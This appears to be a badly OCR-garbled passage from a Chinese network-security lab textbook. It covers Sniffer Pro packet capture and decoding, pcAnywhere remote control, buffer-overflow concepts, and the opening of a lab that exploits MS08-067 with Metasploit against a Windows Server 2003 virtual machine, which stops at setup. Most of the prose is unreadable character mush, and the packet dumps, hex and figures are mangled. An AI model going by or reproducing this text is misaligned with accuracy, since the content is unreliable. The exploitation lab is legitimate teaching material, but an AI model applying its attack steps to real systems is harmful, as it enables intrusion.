(2) ZESERE, A&l 3. 3. 50 FrR.,

(3) 33 Sniffer Pro #c/4:.

J& 8)) Sniffer Pro ¥4 Ja ol IE BB 09 F 54501, an&l 3. 3. 51 B, g s i i i A i o
P BEAH B B R Cadapter) s 2R 5 B AT )3 Bl 844 .

e (0] e



SetupComplete
Setup has firshed copying files to your computer.

Before you can use the program, you must restart \windows or
your computer.

& es, | want to restart my computer now.;
" No, | will restart my computer later

Remove any disks from their dnves, and then click Finish to
complete setup.

ol [ Finsh |

& 3350 LR

= Sniffer - Local, Ethernet (Line speed at 100 Mbps)
%Eﬁ Fite  Monitor Capture Display Tools Datzbase Window Help

O Y =l
CEE | 8|5 &ls|se=san 2l e &

FE@EM

For Help, press F1 =3 18 |

& 3351 Siffer AFo £ 5% |

F A T HAZE 3. 3.52 s,

PR PSSl
|
‘<;E| ul -|ﬂ|ﬁ| él [Hew ;31
|| =% afE o e el 2
|
) 28 P e M R

3352 T A#=

Dashboard a] DL 10 423 W 2% 19 A1) FH 2R O i A A = R SCF N 2 tnE 3. 3. 53 Tz,
M Host Table Hra] DL B WL A HZE #2009 F 0L, &l 3. 3.54 Fras . B = 1P #ihik .
(4) B X e 28k fiHe 192, 168. 0. 40 |4 1P ede41 . & 3. 3. 55 FlE 3. 3. 56 A7 »

5 R B e iy OK %4 .
. 105



8 Dashboard EWE—“Sa

Gl R
HEECE A

Gauge Ddﬂ :

00 2004211 A 298 16:0208 F

[FINetwork

! ?l 1 | Fackets/s
£ 3

(a) FriE 1

Sniffer - Local, Ethernet (Line speed at 10 Mbps) =10] x|
Ele Monkor Ceptre Display Yools Datsbase Window Hoelp

o ] m || 88| K| [Deton ;ll
=|d| 85| Q| o= aR 2 € &

& pashboard

‘Gauge Detall
00 No data ' Short Term (" Long Term
&Network |
10 [ W Packets/s
8 B4 [ Lrikzation 0
[ W Erors/s
° [ [¥ Oropsis
) [ [ Byresss
? O B Broadcastsss
00°00:00 00:00:00 00:00:00 [ MEMikicastsis
—petalfbgeoee |
Open an existing document & | 1 | 2 | | 7
(b) 52

3353 Dashboard 57 H

o Host Table: 13 stations
- P Addr In Phts | Out Pkts | In Bytes | Out Bytes | Broadeast | Multic

0
0 235
g 102

K] 202.112.252.255
K 202.112.252.23
Kl 202.104.129.253

£

MAC,)\‘IF'AIP}{I’;'

== | K, 202112.262.239 0 2 0 228 0
£, 202.112.252.254 0 2 0 a01 0
£l 202112.254.132 2 2 205 167 0
&gl 202112.255.102

202.112.255.221 0 3 0 288 0
202.112.255.255 7 0 1.017 0 0
&, 211.137.168.187 1 1 85 103 0
: 5219.133.42.93 0 1D : g Bg g

ERE A X %202.1-12.24. 20 1 B
,U_ﬁa_tl)] I_HLEI’JIP 202.112.254.130 0 1 C 262 0
4 0 0
0 4 El
1 1 [

3354 Host Tabe 57|

(5) M Sniffer # 4 7 9k £ 52 32 Monitor =2 L — Matrix /7 2. & 3. 3. 57 B/~ T 192,
168. 0. 40 WEAE G M . A iz bk e s s o 3£ £ Capture i 2 IR 42 .

e 106 o



Define Filter 21 xl
Summaryl Addre=s I Data Pattern Advanced EBufEer I Settings For:
—
¥ DEC SCA a] | =
¥ DECHET
[ ™ FRAME RELAY IMI
[°% IBM M ___I
% 1BM SHA
e [ % IEEEsDZ. 11
=M i
- [T1%" IP ARP
% IPVB =
~Facket Si1ze —~Facket Iwpe
A1l = ZEHnrmsal ﬂ
I :I WICEC Error
All sizes W|Tabber :I
®E I il | Profiles. ..

335% E X1 JE AR

2
Summary Address Il'lati Patternl idﬁncedl Bu_fferl Settings For:
Address Kavic kitivass e aabia)
153 = [y
~Mode ————— iﬂ'lﬁ Broadcast/Multicast Address
' Addr Bool
(¥ Include %k R
(" Exclude
Station 1 Dir. Station 2 -
1 |192168.040 ) > B 5y
- L had
3 =
2 — had ]
5 B~ 5
B o~ = =
TRE Wi | Profiles

33% JE X MRERM

::-_f-':Snichr - Local, Ethernel (Line speed at 10 Fbps) - [Malrix : 22 stations] ;Iil ﬁl
4:;4 Ele Monitee  Capbare Dicplay Tooks  Dacabsse Wirdow  Bep = &
r! “l .|&|M| _";\'El |:r'-l-_l|'| _d | -—I-—I

5|H| &[5 vt || Sl@lr 2l ¢ 2|

Traffic Map

192163.0.218

172162243

3 |CIE el T |

1892163.0.233

10.0.01

|BBliS [X]e=]= [g

192 165.0.244

=op and display capture =] Jds | i 105 |

3357 BTBEER



(6) FEAF 1B $E )5 . PE 4 Decode BEN , A5 F il 2 2| A9 TP &L, 40 &l 3. 3. 58 FfroR.

VIR207
VIR207

VIRZ0
[202.101.98_55]

OP=0OUERY N

¥ - . =74
DNS: R ID=74 OP=QUERY STAT=OK Hil[E'n gtld
DNS: C ID=75 OP=REGISTER NAME=com

EROVESER: Local Haster VIR207 Announce

: ME=a gt
VIR207

a gtld-servers.
51?2 168.0.255]

cocoooMoococoo| |
coooooMoocooc

B
L
a
]
| a.gtld-servers. DHS: R _1D=75 OP-EEGISTEH S'I‘l'.l‘-ihfutnd
=] ) I
= a.gtld-servers. ?IREUT TCP D=1270 S=53 SYN ACK -15ﬂ9&3?049 S Q=4129
L VIiR207 a.gtld-servers.|TCP: D=53 S=1270 ACK=412905874 WIN=17424
| | VIR207 a. gtld=servers |DNS: C ID=54784 OP=QUERY MAME=1047972020242=
[ ] a.gtld-servers, |VIR207 TCP: D=1270 S=E53 ACK=1609037189 UIN=6432
| a.gtld-servers, |VIR207 DHS: R ID=54784 OP=QUERY STAT=Format error
Hl |VIR207 a.gtld-servers.|TCP. D=53 S=1270 FIN ACK=412905888 SEO=16090
4 : : : ' - - ; : SR
= - IP: —— IP Hea
5 IP
_ L3 IP Version = 4. header length = 20 bytes
E L4 IP. Typ= of service = (0
.; 4 IFP 0oo = routine
; IP 1] = normal delay
439 IP ] = normal throughput
3 IP 0 = normal reliability
IP 0. = ECT bit — transport protocol will ignore the CE bit
L4 IP 0 = CE bhit - no congestion
3 IP: Total length = 48 bytes
IP: Tdentification = 1282
IP: Flags = 4X
1P 1 = don't fragment
4 IP 0 = last fragment
IP: Fragment cffset = 0 bytes
| - IP. Time to live = 128 seconds-hops )
000CO0000D: 00 le 87 e2 Oe 75 00 Oc 29 62 a6 97 08 00 o .u. )b ]
00000010 :
00000020 : ﬂl f6 00 35 S5f =7 £4 E8 DO 00 0D OO ?D D2 .75 &7 p
n000an3a - 0 00 1 00 00 0 14 0O hd i 0 i b 9

3358 MRIBEEE

(7) MIE 3.3.59 af AR WA 3 A6 H . g o i 123 400 B e g 7 10 2 %50
P53 B o e B B 2 RS B AL oS e R . Bl . TCP Source port=1282 X i
TRy 05 02,

Snuller

Local, Ethernet (Line speed at 10 Mbps) 143 Ethernet Frames

[Snill;: Decode, 83

fl:_J—lfl

202,101,
VIR207

ﬁ _ml_[_i_\

ammay T e e — W [ BN (0] N
=79 OP=QUER =Hame error HAME=_|
?B

" C ID=B0 OP=QUERY NAME=a gtld-servers ns

[202 101 98.55]
Iﬂiﬂ?

78 [202.101.98.55] : R ID=80 OP=QUERY STAT=OK NAME=a gtld-se]351
79 VIR207 tld-servers.|DNS: C ID=81 OP=REGISTER NAME=com 129
80 a.gtld-servers. F 07 TCP: D=1278 S=53 FIN ACK=1611369269 SEQ=4349160

D=53 S=1278 ACK=434979081 VIN=17410
: R ID=81 OP=REGISTER STAT=Refused

: D=1282 S=53 SYN ACK=1611929768 SEQ=4379]

a.gtld-servers. &0

|VIR207
.|VIR207

VIR207

[EEEEEEEEEEE

a.gtld-servers |TCP  D=53 S«1282 ACK=437922457 VIN=17424|60
a.gtld-servers. : C ID=23680 OP=QUERY NAME=1047972020242-1194
A YIR207 : R ID=23680 OP=QUERY STAT=Format error |68

| |-&3 IP: Destination address = [192.5.6 30]. a.gtld-servers net
| |-Lk3 IP: No options
‘ L3 IP
88 TCP. ————— TCP header ———
TCP: Destination port = 53 (Domain)
TCP: Initial segquence number = 1611929767
TCP: NHext expected Seq number= 1611929768 =
TCP: Data offset = 28 bytes
TCP: Flags = 012
TCP 1] = (No urgsnt pointer)
TCP 0 = (No acknowledgment)
TCP: . 0... = (Ho push)
TCPE: 1] = (No resst)
TCP: 1, = S¥YNW
TCP: .0 = {(Ho FIN)

000D00D: 00 Od 87 &2 D= 75 DD Dc 29 62 ab 97 08B 00 45 0D ..

00000010: 00 30 05 26 40 00 B0 06 6= ae c0 a8 00 28 c0 05 .0.&@ 4.0 7(7
0000020: 06 1= OGN 00 35 60 14 18 a7 00 00 0o 00 70 02 . .5 * p
0000030: 40 00 3= 39 00 00 02 04 05 b4 01 01 04 02 @®.>9. ?

3350 HESTEO
(8) M L rpa] LA 1P B g fo B2 4F TCP Bdg e nymym . an &l 3. 3. 60 Jif /s,

e 108 o



DLC &% [P TCP DLC i

P % TCP % TCP ¥E;

=il at 10 MMbps) - [Snil l: Decode, 037143 Bthernel Frames |

nwwmmmmuﬂh

R | — |
EEIQ_JMMIBIQI_I

; ; Len Dela Tame TAbe Time =
53 a gtld-sayvers (VIRZ07 R ID=81 OP=REGISTEERE STAT=Refusad &0 D:00:1%.630( 0.541.930
a4 a, gtld-servers VIRZ07 TCF: D=1282 S=53 SYH ACK=1611929768 SEQ=4379]162 0:00:16.217( D.S582.732 |
11 VIR207 a gtld-servers (TCPF: D=53 S=1282 ACK=437922457 VIN=17424 |60 0:00:16.218( DO.000.411 -
1 vTR2>N7T & At |l dA—esrvave (NS © TNe29680 NPaNITFRY HANF=1N4T797202N247= ‘Iﬂi n-mn-1& 218 n nnn S&9 lrl
=
13 IP Version = 4, h=ader length = 20 bytes
Ld IP Type of service = 00
1l 1p ooo = routins
L) 1p 0 = normal delay
_I_ IP L] = normal throughput
L3 IF 0 = normal reliability
13 IP 0. = ECT bit - transport protocol will ignore the CE bit
13 IP 0 = CE bit — no congestion
1} IP Total length = 48 bytes
l4d IP Identification = 1318
L3 IP: Flags - 4X
L4 IP 1 = don't fragment | |
L) IP (i} = last fragm=snt
13 IP Fragment offsst = () bytes
13 IP Time to live = 128 ssconds hops
L) IP: Protocol = & [(TCP)
v IP Header checksum = GEAE (correct)
L IP. Source address = [192.168.0.40). VIR207
iJ IP: Destination address = [192.5 6 10]. a.gtld-servers nst
11 TP Mo optlions
L) IP
@ TP —— TCP header —-——-
MR Tcp =i

00o0000o0: OI.'I 0d B? el Ue ?5 EI'EI lJl: 29 62 as '9? DB 0o '-.,' il . .0 u. )b .

SAR 05 02 00 35 60 14 18 a7 00 00 00 00 70 02 W
ﬂuﬂ‘ﬂﬂﬂﬂﬂ -U]' 00 3= 39 00 00 02 04 05 b4 01 01 D4 D2 ® »9 ?

3360 HIESTEO

(9) 1P Bk a5 tni® 3. 3.61 fin., &/ 1P k. WA 3. 3. 62 Tz~

AN | AT RS | IR 2B TOS) 161 S KT
163 4miR 25 13 B fir
A
S 4ETFRIERTTL) Sfirfins 16 & At dadt
IALIFHAETP
32{i H AOHIAHP
EIN(I0ER)

B 3361 IPEIEBLEM

(10) & %F TCP .0/ 3.3.63 frn. TCP ALk g5 M an A 3. 3. 64 ff /.

(11) 5 ity 2k 2 192, 168. 0. 40 1y ICMP %8241 . & 3. 3. 65 i,

(12) MAHL(192. 168. 0. 245)Ping Hbs EHL(192. 168. 0. 40) . UNIE 3. 3. 66 I/~

(13) 2 R HE 55 M Decode % 1 v 4% 4t ECHO 2 ECHO REPLY ¥4 41, 40 & 3. 3. 67
FF7N .

(14) 43#r ICMP Z8E10L15 B . 3. 3. 68 Jras.

ICMP 2571, 8,

f&ﬁ—% 0::

KA. 395CCERD .

BiiA= . 1024,

JF5. 4096,
. 109 .



B3/ 1473 Ethernet Frames )

=5

(60

D=1282 S=53 SYN ACK=16£11929768 SEQ=4379]62

D=53 S=1282 ACK=437922457 UIN=17424 |60

; C ID=23680 OP=QUERY NAME=1047972020242-] ig-l
&0
62
&0
60
&0
&0
62

: R ID=23680 OP=QUERY STAT=Format srror

D=53 S=1282 FIN ACK=437922471 SEQ=18119]
. D=53 S=1283 SYN SEQ=1612245154 1EN=0 WIJ
D=1282 S=53 ACK=1611929908 VUIN=£432
: D=53 S=1282 ACK=437922471 WIN=17410
+ D=1282 S=53 FIN ACK=1611929909 SEQ=4179]
D=53 S=1282 ACK=437922472 UIN=17410
D=1283 S=53 SYN iCK-lGlngSl

- & & & B &

-1-T-T-7-Y_T_T_T_TM_N_0U-
$ @ W AT w, W W@l

55 SEQ=4354

iDeseseEnEEEEER

IP: Version = 4, header length = 20 bytes

IF: Type of searvice = 00

IP ooo = routins

1P 0 normal de=lay

1P i normal throughput

IP 0 norsal reliabality

1P 0 ECT bit = transport protocol will ignores the CE bit

1P 0 CE bit = po congestion

IP: Total length 48 bytes
Identification 1318

IP: Flaags iX

IP 1
IP 0

don'"t fragment
last fragment

IFP: Fragment of {sot 0 bytes
IP: Tine to live 128 seconds~hops
: Protocol & (TCP)

Header checksunm

6EAE (correct)

IP: Destination address = [192 5.6.30]
IP: Mo options
IP

a.gtld-servers net

RGO
- \
o

332 EBFE Pk

Sniffer - Local, Ethernet {Line speed at 10 Mbps) - [Snif1: Decode, 837143 Ethernet Frames |

Ll sl 2

@

: D*1282 S*53 SYN ACK+=1611929768 SEQ=4379 0 0.
: D=5§3 Se1282 ACK=437922457 VIN=17424 1] 0.
: C ID=23680 OP=QUERY HAME=1047972020242- 1] 0.
: R ID=23680 OP=QUERY STAT=Format error 1] 0.
D=53 S=1282 FIN ACK=437922471 SEQ=1611%9 1] 0.
. D=53 S=1283 SYN SEQ=1612245154 LEN=0 WI 0 0.
: D=1282 5=53 ACK=1611929908 WIN=6432 1] 0.
D=53 S«1282 ACK=437922471 WIN=17410 ] 0.
: D=1282 S=53 FIN ACK=1611929909 SEQ=4379 1] 0.
a.gtld-servers. D=53 S=1282 ACK=437922472 VIN=17410 0 0.
VIR207 . D-1283 5253 SYN ACK-1612245155 SEQ-4354 0 0.
TCP
TCP® Source port = 1282
TCP: Destinaticn port = 53 (Domain)
TCP: Initial sequence number = 1611929767
TCP: Hext expected Seq number= 1611929768
TCPF: Data offset = 28 bytes
TCP: Flags = 02
TCP 0 = (Ho urgent pointer)
P 0 = {(Ho acknowledgment )
TCP 0 = (Ho push)
TCP D = (o resst)
TCP 1. = STH
P 0 = (Ho FIN)
TCP: Vindow = 16384
TCP: Checksum = JE3I9 (correct)
TCP
TCP: Options follow
TCP: Maximum seqgment size = 1460
TCP: NHo—op
TCP: Ho—op
TCP: SACK-Permitted Option
TCP

3363 TCPEfRES

JEm=: 1282 Bifigs: 53
BZﬁ'iH]fﬂ-Iﬁ%: 1611928767

RUEAFS: 1611920768

B |13 &5 | URG| ACK | PSH | PST | SYN | FIN | 16 {7/ : 65535

16 i FEF0 16 (U 25t
IR

3364 TOPELLZEHY
110 o



Define Filter ﬂﬁl

Smu'yl Jl.&dranl Data Pattern Advanced Settings For:
% 1em -]
T4 IBM SHA
@- I § IEEEs02. 11
-5 1p
[ &) eGP J
I & cor
[T &) HELLD
4
[ &) 160P |
—FPacket Size — —— [ Facket Type
Iﬂl :I [w|Hormal EI
WICRC Error
All sizes [v]|Tabber :l
W= I i I Profiles. ..

B 3366 TEXIiTJERS

mSETRF
Hln rosoft Windows 28888 [Version 5.8088.2195%1]
(C» RFYRTH 1985-2000 Microsoft Corp.
C:~*PING 1922.168.8.48

I"ir|+__4ir:1__; 192 . 168_A_ 4948 with 32 butes of data:

Reply fyrom 192 _16B_A_4A: huyutes=32 imed1@me
H-!-plg_.l from 192_168.0.408: hytes =30

eply fFrom 192 _168B.8_.48: hytes
]'.' rply from 192.168.8.48: hytes

]'il‘ll_q statistics For 192.168.0.148:
Packets: Sent 4, Received 4, Lost A <Bx loss2>,
ﬂljllt‘ll.l-.jt]:tt.l!' rounid l.j'ip times im milli-seconds:

Him Lmwum Bms,. Maximum Bms . Average Bims

3366 Fng B#rEA1

snilfer - Local, Ethernet (Line speed at 10 Mbps) - [Snil2: Decode, 3/58 Ethernet Frames) NIE:
F¥ fle Monkor Capture Display ook Database Window Hebp =18
b ||| u!"iiﬂ[ _| [Defedt f- |
=8| 8|5 O|m|sleHEelRA 2 g] @JI
[No  [Stalus [Souwce Addiess [ Dest Addess [Len B[ Rel Time [DeRaTme  [Abs Tme o
1 M [[192.168.0.245]([192.168.0.40] Z MP: Echo 74 0:00:00.000/ O.000.000
2 192 168.0 40& 192.168.0,.245]| ICHP: | reply 74 0:00:00 000! 0O.000.589| -
< | |[192.168.0. 111192 .168.0.40] !ICHP E:hn {74 | 0:00:01.000/ 1.000.148|
| 4 [192.168.0. 40)] |[192.168_0_245]| [CME Ec ren ] 74 0:00:01.001] 0.000.613|
|S 1[192.168.0.245]([192.168.0.40] E MP: E 74 0:00:02.000] D.999.393|
|6 [[192.168.0.40] [[192.168.0.245])| ICMP- Echo reply 74 0:00:02.001| 0.000.883|
7 [[192_.168.0_245)([192.168 _0.40) | ICME Echao 74 0:00:03.000| 0.999_.198
| [192.168.0.40] |[192.168.0.245])| ICHP- Echo repl; 74 0:00:03.001| 0.000.550]
9 |[192.168.0.245)|[192.168.0.40] |ICHMP: Ech 74 0:00:04.000] 0.999._489|
10 [192.168.0.40] [[192.168.0.245]| ICME Echo repl 74 0:00:04.001] 0.000.8683| -
11 IFT19% 1&8 N 247 719 188 N An1 TiTME =t 74 n-nn-nNE NN n 999 ':u':-
< | i
DLC Saurce = Station Iwill OODOCAL1E -
DLC Ethertype = 0800 (IP)
&3 DLC
-__3.': __ 101 i mader lengt |
.J i i T |
D 1 0 -
ﬁ I | 19
I-____} _ i 5
& IF C :
&3 I g
L3 Il
§:: -
&3 II :
i3 | !
& 1! '
&) It 1 ME
IJ-- 1T e L 1B BEEFER T T
&3 I 12 id2 : 168 0. 24 =
00000000: 00 Oc 29 62 ad 97 00 40 &8 00 c4 1= 08 QOO lg [1]1) )b ﬂ'r f E_ -
00000010 : DONSEND2NSE un uu uu 01 BbS ta c:u aﬂ nu 15 cl aB <. [..01.0%88 M B
00000020 0BS28 05 O 65 66 B8, 9 B
Q0000030 9 ba ': : i 6& 6 "I 71 72 73 1 75 76 ghijklm -

3367 #&45 1O0WPE
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DLC 345 P L& ICMP 3k

i
] I« R

.
0:00:
100!

1?2.15i.ﬂ.lﬂg 192.168.0.245]

192.168.0.245) 192.153.ﬂ.lﬂg

192.15!.#.!0; 192 .168.0.245])
192.168.0.245] 192.155.ﬂ.lﬂg
192.15!.&.!03 192.168.0.245] Echo reply
1?2,IGB.E,Zl!] 192.15£.D.Iﬂ;] Echo
1

192.168.0.40 192.168.0.24 Echo reply
169 1608 N 24 192 168 N ANl Bt

SooocoocoooMEool

~mo@maTinewneZIES I o

scocooccoo
Seeosass
2000000 O

OO0 g |

IP: Total length = 60 bytes
IP: Identification = 603
IP: Flags = 0K
- IP 0 = may fragment
IP ] s« last fragment
L IP. Fragm=nt offsst = [ bytes o
: IP: Time to live = 128 seconds-hops
IF: Protocol = 1 (ICHP)
' IP: Header checksum = BSF8 (correct)
+3 IF: Source address = [192.168.0 245)

IP: Destination address = [192. 168.0 40]
IF: Ho options
IF

=% =13
ICHP

ICHP header ———

ICHMP Cods = 0

ICHP: Chacksun = 395C (correct)

ICHP: Identifier = 1024

ICHPX Sequence nunbexr = 4096

ICHP [32 bytes of data]

: ICHP

: ICHP: [Hormal end of “ICHP header® ]
ICHP

oooo : D0 Oc 29 62 ab 97 00 40 o8 cd 1o 08 00 45 00 ..)b . .
00000010 D0 3= 02 Sb 00 0D 80 01 bS £8 0 a8 00 £5 <0 a8 <. [..0.B%88 29
an. nn 3o W o0 234 S= 04 00 10 00 81 £ £3 £4 S8 558 4N st

3368 IOWEMNEAKER

BAs K. 328,

R

(1) Sniffer J&— 58 K AYINEL T H 25408 60 53 B D B8 58 A, Q2R e o 4 H L % T 0 €
(VAL d o s W

(2) T Sniffer THIFE K, E 2] LI Y RE T H. K ONR 2 ph i B 0% i . a0
FTP.Telnet &5, 174 Sniffer TH A IAF H P 24 &,

(3) M OSIL Z5# 7 IP )@ T3 =2 (M4 )2) . TCP )@ T4 142 (&5 J2) . 76 B
f TP sk TCP 3k (R 1 .

(4) MNSEEG ] LLiE i A i TCP gy 3 Ik Tad 2.

(5) H2E5e a] LI . Sniffer Pro n] LA Y Jay B0 3 3 sl A el (5 EL . Horp el 4% P
2 MR 2 R U s B LB R R B N & et 200 2L 1, Har, HE TR
N 22258 W 28 By K 3. JF 48 Windows #:4F R 48 19 % 2 90| 42 & , Sniffer Pro T H 3 A fE B 5
A BT B
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o [HARPNIRERZ,
4.3 JEFEERP s

I 05 2% b4

pcAnywhere 8 fF R 50,1 &,
PC(Windows XP/Windows 7).,1 5.
i > R

(1) My scsi i), & > B d AR A RN E .
(2) & 2] pcAnywhere ¥ a4 T ik

(3) PAZRSLIG I R AN JEAR ERAE TR

(4) Aty 1t ) 45

05 55
FFH pcAnywhere B X #2 1 HE P A7 )
ol S

%% Windows R GEAI pcAnywhere B4 (LS 8 448 i A1 =5 7259 ) 19 1 65 J=3 380 PC.

1. M#L(# 5w ) B pcAnywhere E AL &

(D 5T —7 A EEwCEID » 73— I7 I dm OAPL .

(2) JAa s MHLIE pcAnywhere, 78 T HRE B & im” . B4 o TAEX B “NETWORK,
CABLE,DSL”¥ET , fE R FER B e £ @ 7" a2 Hrp, BOA R i TCP/IP, AN E
[l

(3) FEPEFFIYEF” AT IR 2R R 15 R ik pcAnywhere, 47 o FERY 35 51 %, 78 PR3
S PR A A

(4) g A8 A FH P A0 8 5% 24 A i CEHLIE i CHILEE FH 3D . HOA 1A 5 5% 25 FiE 7Y
1 FEHLA BEFF Y I AL . R GEBIA AR & E L] 58 5

(5) & el 45 e 19 FH P 8 SR 5 B R o R L M B

2. EM(FEi=H) B pcAnywhere E ARG B

(1) JF s ML pcAnywhere, f£ T HAE B8 F & vm ™, 154 & TAE X A9*NETWORK,
CABLE,DSL” 5, fEth s sg Lp e £ Jm k" ar 2. Hop, BN Ui 8 TCP/IP, A%
B,

(2) W E” " E a2 AP0 PC s IP sk ™ 5 5 A ALY TP Hb kb Jf 51 5
I E IR AL

3. ITEE BRI

(1) =47 MHLAEY pcAnywhere, ZEFE“ #7 45 ¥ 7 . A “NETWORK, CABLE, DSL” ., & 7R~

. 129 -



MALIEAE AL T 5 REIR A, Bl 322 52 E LA Ry

(2) AT FHLAY pcAnywhere, P4 F & 57, A “NETWORK. CABLE, DSL”, £ J¥
AT 45 SR TR 3 45 v 1) 150 9 R

o Ay EFE v A B NL TP Hhik , W 3= 4550 B sh 3 A 5 7 E 327 1 AL .

o T EEIE T MNYLAY TP Huhb . 0 i =8 SR A5 B HEL ] P 44 1% 1 i i DAL 1) 56

E o 3= LA AT ] B X ML ) 428 Tl AL 8] 5k A 32 ML 57 4 S s DAL A 52 1

4. TEEN EXT A FH TR

(D s T HEAE O 258 BoR 724, o] 2 B W m PAHL Y S 1 i B 3 AL~ JF
TNE A VIR =

(2) s T HE PR SR L2 8. A28 Wos 192 EVLE IR A o MALTE IR . F1
BB 119 i 5 2 18 AT S8 B0 S ) RUHL B AR 2 i

(3) HhE T HED WA BB Lo " f Al . i &8 e ML A, B T AP i
R R O DO R (75

e Al 1 R
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o5 5 ' MS08-067 kil X ok 52 55

5.1 & H iR

PN ATk 98 19 2 7R 5 R B AR S S5 3 F 1 T 1) 4 068 0% 8 A« S EIURK A AE Ak Bl g A
B e et PR U 0 B DR R S A BUIE S A A R G B R e SR L DT ) e A A
L » T PRAT Fh w A A RS AR 2 A A 48 4 AUR L & BT AE AR ST 50K HO B 45 i i 0 R 4 IR
55 o PNAF TG 19 2 v it PR o B 20 55 i e o 010 o 0 i A 1190 4% P 5 L GRS A S AR A
e E BRI RE R B8 BT o1 A R R L (H 5T H R D O A 1 i R 52 B B R APLEL AL 3%
A TE AT AR 3 DX 20 500 RS s X AT TR B R A0l i A BCE 1R D 48 4 AR 1y # PR AT
HURTHE . AT AT #5421 GE 9 1Y By 379 it 40 A vl HE 52 e MR BR BT SRR RS54 | 1 31X 4 B
s » 1117 R S 1 P 25 B 1 XLk 2 A A b e i A0 1R AL

5.1.1 ZHEXiEH

W HE O L 22 ob X i th A B R 2 IR RE P B0 L 1 AN 2Kk . (HOE AR A AR O
Ha) 3 fak o R0 B9 N 2 IR A A AT REFR A AR 48 Y 1 AL

Tz P IXAE RGP AR IIE A Z R0 R 20 S € SCRY AR Bt VR L S5 R R S A Az AT
Fb e PRAFAE 2 v XA 1Y DRI, 2 i DX R LA BE il 5% 3t B i O — Be ] 1325 1Y AT X 3, 2% i X
Wi A H R B ARSI XA ZE NP EENE SR iSSR0, %
MRy o K S A7 AR 17 D P e e AR o A D — 2 ) 50k A7 A P A7 19« Tl R R e 10 s
TENAF AR L B 3 NN Y ki T 2 b JIe vk X0 W 28 o X090 R 28 2 AT A 193X i 0
Z i X f o IO R 2R T RTRE

— PR 9 2 o DX 9 P AE O B9 AN [R) RE S DX T 30 D B Y ATHE T

5.1.2 f&imd

FRAE D — PP B IE 45 A, o2 — Ff S EAE — i R A7 9 AR B B PR AU RR IR e 3R . B I
Je ik e A T DU A e 0k L e A 0N B e ARRES s g i 19 R308E AR AR T, T A Y R
fige AR T i ) %030 (e Jm — A B0 93050 — i bk B Je b S 7)o AR BATICAZ R AT
XA A S5 M B 3 AR b A T BRI TS

IR ASE S E— T BA L LRSS N X B Al DUREEOE I AR
] RORERS0aE AR IO o AR ) 50 A o 45 A T At i /) » DA T 5 S 45 A ek 45 0k T i)
01N

AR Wizt P A E A LR EEN . s B R RAF 1 — > e B0R B B 5
TR AP S, H PR Z O HEAR Wi B T B e oK

HE A ot — PB4 R JL T AR B

o PR I (] ik R 2 EL
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o I B AR, B A RR ORI AR S R R AR i LA S g 1 A H Bl AR Y At Il B R
Bt H A AR e o) o2 TR B N A L EE S s . 5 A R B0 1 R i T R AL s &
o DY 2 TR) N 2 i Rk vl . DR i A0 DU & ey 2 nT DL AR B A0 R AR v Oy 20K A
FH X 28 B i Y 71 -
o Sk v X BRI A A AR AL OB BRI IO PRAT DR AN R AT IR B G A ey B
o R PRATRY R RGR W] 30 0k A8 PO T A B9 ik L 2R Y AR BT R Y i A
W Bk % 3 Yo & 18 7€ 9 skl AR S O T A DAPRAT AR A AT A
o B PREGE BT ECE R e e WAL A, RO 2 e H b eR B R AL B
PR PR AT s [R) R AT DAL R e A e e A A bk

5.1.3 i@

AR T8 L HE 2 R P is A7 B B 43 BE 9 I AF . P 3l malloc(C & F ) cnew(Java i H
S5 A5 R BRI N AT L 38 AR [R] S h H ik S EE X 0 E i PN AE R AT AR L 1 58 i B
free &% pR BB HX 70 43 N AT » 75 W) 23 3 s PN A7 3 e

HE AR 51 M AT B VBRI 5 3 3 M. M MEAE N AP B AR E, RANER B W, Z
K HIE IR T eE S MR EL . RS PEBE L 25 M1 A FH 2 DL J 48 4 1) AR B 2% e ok 45 B
T i A Y 2 R HE SRR AT TR A A

A G AL KNSRI 4 — R 5 S B i ME Bl S0 SRy Hewy A& X, Hovp s T ME
BB XA T RS RS 43 39t S 0 m) 4 2 10 PR A8 T o il B [RDRE R /N B9 23 PR R e X ] i
PP AE — R, 40 TC 5 B TIOHE 3 ) % I A A S5 B OO ) 2 T SR R AR i S T 23 R
AT X AR A

25 R HEHL b, 145 1 Previous block il Next block 43 il 45 [n] XX [n] 5 % H 1 HE B 119 1if
J5 P A 23 PR ME B ) B PE 30 4 o A0 T — /> Mk Bl s 40 0 M Bl DA 25 PR M B XUsE 26 h oI BR . TR
— AN HE ) HE B YA P R L AR AT B 2 AR DL RIS A . TE ] — > 2 43 BEHE B
W BRI bl RO R i T A HE He i RN L S B B TR T MBS T A AR Y
75 PRIME e, 060 5 1 3E He 19 9 A 11 S T8 BT 02 8B i 5l T 7 G

e A XA — 25 RHMES B AT E HES R A s 5 . U2 U AR NS 1] 1 HME B 11
Al — DM AG — D HEB B 82 B e ple 1T HA % E . i an SR B XA = R HER
B 53 BE 25, T BB X S 2 IR HE B N 2SR HE B BE R b I PR, B 4 7E 3 B Y i AR
DeleteBlock pR#USL2RE 1% s 89 T —> 77 s AT 0] 35 5138 [ 3% 19 5 2Z Bi /Y 25 PR B 09 ip () 45
BF o TT RO o BEASHE g 48 1) (19 s ME S g mir g B, R S A s VR AR 2 T SR i s
i | . W20 1219 A PR S w48 B I 0T L B bk 4 PN 2 L LS AT 1) 48 & T AR A B

5.2 MS08-067 i Xl 5

5o 2 B4

Back Track5 PYEAR C/F.1 &,
VMware [EIPLEAAF .1 £,
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Windows Server 2003 SP0 551 4.1 &,
KA AT 55

3o AR S AR B X P A T 8 1 R DG
F 4 PR

—H5%%% T VMware JEfIHLEKFRY Windows 7 #2/E R 1T H HL. BT5 (Back Track
five) 24, LA M Windows Server 2003 SPO #EHL R 4t .

TG &5 1A

2008 4= 10 H 24 H & J=  BRAE M & 4 lie 55 A8 BB It 92 14T BA 7 W T 38 40 42 2 R A i 72
i, ZH Windows Server g 55 it #2 RPC #& ¥ H s ilA (MS08-067) ., iX J&=1F Windows #4F
A48t T Server IR55EALHE RPC i 2K o #2 b A7 76 i) — A 7™ 5 U 1), c 2 < 35 vl DA o o
Yo 3% 3 8 RPC SR 53 1 1 9 5058 2 A B Y R 566 A SYSTEM KRR $047 £F 15
1582 I AR BOIE - 38 iR Gi 2k BF S R Gy ot 55 7™ 2 ] 2L

i H Metasploit HEZ8H 1) MS08-067 B E W B . X —HF A Bk b %A 1 H
DEP 5 ASLR Z 4 iy ¥ 1) Windows Server 2003 SPO &R AL #4718 15 2L

1. Windows Server 2003 SP0 #E#1221%

Windows Server 2003 & Microsoft 22 a] 3T Windows XP/NT5. 1 H % 19 iR 55 a5 4 4E
